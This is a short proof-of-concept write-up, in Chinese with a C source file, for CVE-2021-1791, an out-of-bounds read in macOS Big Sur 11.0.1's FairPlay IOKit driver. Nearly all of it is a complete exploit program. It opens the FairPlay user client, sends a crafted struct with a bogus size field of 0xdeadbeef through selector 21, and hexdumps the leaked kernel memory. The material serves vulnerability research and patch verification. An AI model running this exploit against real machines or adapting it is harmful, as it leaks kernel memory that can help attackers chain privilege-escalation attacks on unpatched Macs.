# CVE-2021-1791 Fairplay OOB Read POC

越界读取问题，导致内存泄漏.

影响版本：macOS Big Sur 11.0.1

fairplay_iokit_uc_run_versioned.c:

```c
#include <IOKit/IOKitLib.h>
#include <mach/mach.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <ctype.h>

void hexdump(void *ptr, int buflen) {
  unsigned char *buf = (unsigned char*)ptr;
  int i, j;
  for (i=0; i<buflen; i+=16) {
    printf("%06x: ", i);
    for (j=0; j<16; j++)
      if (i+j < buflen)
        printf("%02x ", buf[i+j]);
      else
        printf("   ");
    printf(" ");
    for (j=0; j<16; j++)
      if (i+j < buflen)
        printf("%c", isprint(buf[i+j]) ? buf[i+j] : '.');
    printf("\n");
  }
}

io_connect_t fairplay_service_open(){
    io_service_t service =  IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("com_apple_driver_FairPlayIOKit"));
    if(service == MACH_PORT_NULL){
        printf("[!] failed to match fairplay servive\n");
        return MACH_PORT_NULL;
    }

    io_connect_t conn;
    kern_return_t kr;
    if( KERN_SUCCESS != (kr = IOServiceOpen(service,mach_task_self(),1,&conn)) ){
        printf("failed to open fairplay service : %s\n",mach_error_string(kr));
        return MACH_PORT_NULL;
    }

    return conn;
}

struct kJAimpk
{
    uint32_t field_0;
    uint32_t field_4;
    uint32_t field_8;
    uint8_t sec1[20];
    uint8_t sec2[512];
    uint32_t size;
    uint8_t fp_ret;
};

int fairplay_run_versioned(io_connect_t conn,struct kJAimpk* in,struct kJAimpk *out){
    size_t outsize = sizeof(struct kJAimpk);
    kern_return_t kr = IOConnectCallStructMethod(conn,21,in,sizeof(struct kJAimpk),out,&outsize);
    if(kr != KERN_SUCCESS){
        printf("failed to run versioned : %s\n",mach_error_string(kr));
        return -1;
    }
    return 0;
}

int main(){
    printf("sizeof(struct kJAimpk) = %lx\n",sizeof(struct kJAimpk));
    io_connect_t conn = fairplay_service_open();
    if(!conn){
        return -1;
    }
    printf("[+] fairplay iokit connection : %x\n",conn);

    struct kJAimpk *sIn = (struct kJAimpk *)malloc(sizeof(struct kJAimpk));
    struct kJAimpk *sOut = (struct kJAimpk *)malloc(sizeof(struct kJAimpk));

    uint8_t sec1[20] = {0xe3, 0x8d, 0x3a, 0x96, 0xd7, 0xdb, 0x25, 0x63, 0xf9, 0x5d, 0x96, 0xf4, 0x65, 0xa9, 0x11, 0x9b, 0xa6, 0x16, 0x2f, 0x17};
    uint8_t sec2[512] = {
        0x26, 0x4c, 0xcf, 0xe7, 0xd8, 0xcc, 0xae, 0x05, 0xc8, 0xa0, 0x89, 0x98, 0x67, 0x93, 0x4b, 0x77,
        0x11, 0x92, 0xd9, 0x5e, 0xac, 0x38, 0x07, 0x80, 0x7b, 0x43, 0xd3, 0xd8, 0xd0, 0x5c, 0x96, 0x61,
        0xab, 0x4b, 0x90, 0xae, 0x5d, 0x3b, 0x7b, 0x9e, 0x88, 0xfa, 0x52, 0xfa, 0x2e, 0x88, 0x65, 0xad,
        0xfd, 0xf5, 0xa4, 0xbc, 0x6c, 0xe2, 0xed, 0x80, 0x54, 0x3a, 0x4f, 0xfe, 0xda, 0xef, 0xf6, 0xea,
        0x22, 0x80, 0x81, 0x8c, 0x1b, 0x4e, 0x84, 0x90, 0x9d, 0xfd, 0xf6, 0x4a, 0x76, 0xf0, 0x15, 0x54,
        0xca, 0xd7, 0xe4, 0xc4, 0xb3, 0x5c, 0x97, 0xf9, 0x65, 0x21, 0x82, 0xa3, 0x95, 0xa2, 0x2a, 0x8a,
        0x02, 0xa4, 0x80, 0x86, 0xdf, 0xff, 0xde, 0xd6, 0x40, 0x69, 0x51, 0x29, 0x1d, 0xba, 0xdd, 0xb4,
        0x20, 0xa8, 0x8d, 0x6d, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x4a, 0x76, 0x03, 0x01, 0x00, 0x00, 0x00,
        0xe8, 0xfc, 0x7c, 0x03, 0x01, 0x00, 0x00, 0x00, 0xfd, 0x50, 0xc7, 0xce, 0xc7, 0x2c, 0x28, 0xa8,
        0xbe, 0xa8, 0x3b, 0x2f, 0xd3, 0x52, 0x9a, 0x22, 0xa0, 0x07, 0x5a, 0x9c, 0x56, 0xd9, 0x1d, 0x0a,
        0x8c, 0x1b, 0x4e, 0xc8, 0x00, 0x8c, 0x59, 0x51, 0x65, 0xbe, 0x9f, 0x9c, 0xa3, 0xe4, 0x2b, 0xf0,
        0x39, 0xd2, 0x5a, 0x7c, 0x65, 0x10, 0x60, 0xe8, 0x45, 0xa0, 0x20, 0x7f, 0xc4, 0xfe, 0xf1, 0x02,
        0x06, 0xb3, 0x95, 0x58, 0xcc, 0xa9, 0x92, 0xae, 0x95, 0xbc, 0xb5, 0xd0, 0xc1, 0x43, 0xa2, 0x47,
        0x8e, 0x29, 0x7b, 0xae, 0x6a, 0xaa, 0xf9, 0x7d, 0x21, 0xe1, 0x2a, 0x66, 0xf2, 0x42, 0xc9, 0x90,
        0x56, 0x94, 0x7d, 0xa8, 0x50, 0xda, 0xcd, 0x47, 0x12, 0xb8, 0x4b, 0x27, 0x9e, 0xd9, 0xae, 0xd5,
        0xb3, 0xa1, 0x8a, 0x33, 0x14, 0x70, 0x04, 0xd9, 0xb4, 0x98, 0xd1, 0x0c, 0x0c, 0x9b, 0xdd, 0x33,
        0x7f, 0x7a, 0x9f, 0xb5, 0x59, 0x20, 0x78, 0x7e, 0xf5, 0xb1, 0xdc, 0x71, 0xc9, 0xbd, 0x04, 0xbd,
        0x5a, 0x09, 0xa0, 0x9c, 0x4a, 0x5d, 0x73, 0x94, 0x93, 0x2d, 0x2e, 0xff, 0xab, 0x1c, 0x12, 0x73,
        0x6c, 0xe4, 0x0b, 0xbc, 0x0b, 0x8e, 0x18, 0xf8, 0x68, 0x0a, 0x07, 0x6a, 0x84, 0x63, 0x2b, 0x42,
        0xe0, 0xb9, 0x7d, 0x04, 0xc1, 0x30, 0xab, 0xdf, 0x0f, 0xc4, 0xac, 0x77, 0x1d, 0xac, 0x53, 0xd4,
        0x8c, 0x1e, 0xdb, 0x38, 0x99, 0x30, 0x6e, 0x3e, 0x3e, 0x4a, 0x56, 0xca, 0x58, 0x0c, 0x97, 0xe0,
        0x9c, 0x02, 0xde, 0xb6, 0x58, 0x52, 0x22, 0x70, 0xfa, 0x53, 0xcb, 0xb3, 0x37, 0x2f, 0xbf, 0xfe,
        0x0d, 0x01, 0x54, 0xdc, 0x58, 0x8e, 0x53, 0x9b, 0xab, 0xc3, 0x77, 0x6a, 0xb6, 0x0c, 0x6a, 0x88,
        0x56, 0x71, 0x71, 0xbe, 0x68, 0x0e, 0x26, 0xfa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x26, 0x17, 0x2f, 0x17, 0xe4, 0x86, 0xc6, 0x6b, 0x77, 0x10, 0x47, 0x16, 0x83, 0x96, 0xe9, 0x3e,
        0x47, 0x75, 0x5b, 0x85, 0xc6, 0xcf, 0x85, 0xcc, 0xa7, 0x18, 0x95, 0x2a, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };


    sIn->field_0 = 0x00000008;
    sIn->field_4 = 0x525e5ba4;
    sIn->field_8 = 0x34788a7a;
    sIn->size = 0x70;
    memcpy(sIn->sec1,sec1,20);
    memcpy(sIn->sec2,sec2,sIn->size);
    //magic
    sIn->size = 0xdeadbeef;

    if(fairplay_run_versioned(conn,sIn,sOut)){
        return -1;
    }

    printf("outSec1 : \n");
    hexdump(sOut->sec1,20);

    printf("outSec2 : \n");
    hexdump(sOut->sec2,sOut->size);

    printf("[+] fairplay success, size = %d, ret = %d\n",sOut->size,sOut->fp_ret);
}
```

ref：

* https://support.apple.com/en-us/HT212147
* https://gist.github.com/pwn0rz/e34ab9f6e46956621a9d4f98cf222320